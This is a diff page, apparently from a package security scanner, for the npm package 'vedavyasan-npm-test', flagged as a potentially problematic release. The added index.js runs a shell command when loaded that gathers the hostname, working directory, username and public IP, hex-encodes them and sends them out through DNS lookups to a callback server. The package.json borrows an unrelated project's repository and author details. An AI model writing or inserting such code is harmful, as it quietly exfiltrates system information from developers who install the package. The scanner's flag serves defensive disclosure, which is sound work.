vedavyasan-npm-test 1.10.295
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of vedavyasan-npm-test might be problematic. Click here for more details.
- package/index.js +14 -0
- package/package.json +42 -0
package/index.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
exec("a=$(hostname;pwd;whoami;echo 'vedavyasan-npm-test';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.bind9-or-callback-server.com;done" , (error, data, getter) => {
|
3
|
+
if(error){
|
4
|
+
console.log("error",error.message);
|
5
|
+
return;
|
6
|
+
}
|
7
|
+
if(getter){
|
8
|
+
console.log(data);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
console.log(data);
|
12
|
+
|
13
|
+
});
|
14
|
+
|
package/package.json
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
{
|
2
|
+
"name": "vedavyasan-npm-test",
|
3
|
+
"version": "1.10.295",
|
4
|
+
"scripts": {
|
5
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
6
|
+
"compile": "tsc -b ./tsconfig.cjs.json ./tsconfig.esm.json ./tsconfig.types.json",
|
7
|
+
"build:clean": "rm -rf ./build",
|
8
|
+
"build": "npm-run-all build:clean compile && node ./scripts/prepare-package-json"
|
9
|
+
},
|
10
|
+
"repository": {
|
11
|
+
"type": "git",
|
12
|
+
"url": "git+https://github.com/sr-shifu/ts-build-octopus.git"
|
13
|
+
},
|
14
|
+
"publishConfig": {
|
15
|
+
"registry": "https://registry.npmjs.org"
|
16
|
+
},
|
17
|
+
"main": "./build/cjs/lib.js",
|
18
|
+
"module": "./build/esm/lib.js",
|
19
|
+
"types": "index.d.ts",
|
20
|
+
"exports": {
|
21
|
+
"./*": {
|
22
|
+
"types": "./build/types/*.d.ts",
|
23
|
+
"require": "./build/cjs/*.js",
|
24
|
+
"import": "./build/esm/*.js",
|
25
|
+
"default": "./build/esm/*.js"
|
26
|
+
},
|
27
|
+
"./package.json": "./package.json"
|
28
|
+
},
|
29
|
+
"keywords": [],
|
30
|
+
"author": "Ildar Sharafeev",
|
31
|
+
"license": "ISC",
|
32
|
+
"bugs": {
|
33
|
+
"url": "https://github.com/sr-shifu/ts-build-octopus/issues"
|
34
|
+
},
|
35
|
+
"homepage": "https://github.com/sr-shifu/ts-build-octopus#readme",
|
36
|
+
"devDependencies": {
|
37
|
+
"@types/node": "^18.11.17",
|
38
|
+
"npm-run-all": "^4.1.5",
|
39
|
+
"typescript": "^4.9.4"
|
40
|
+
},
|
41
|
+
"description": ""
|
42
|
+
}
|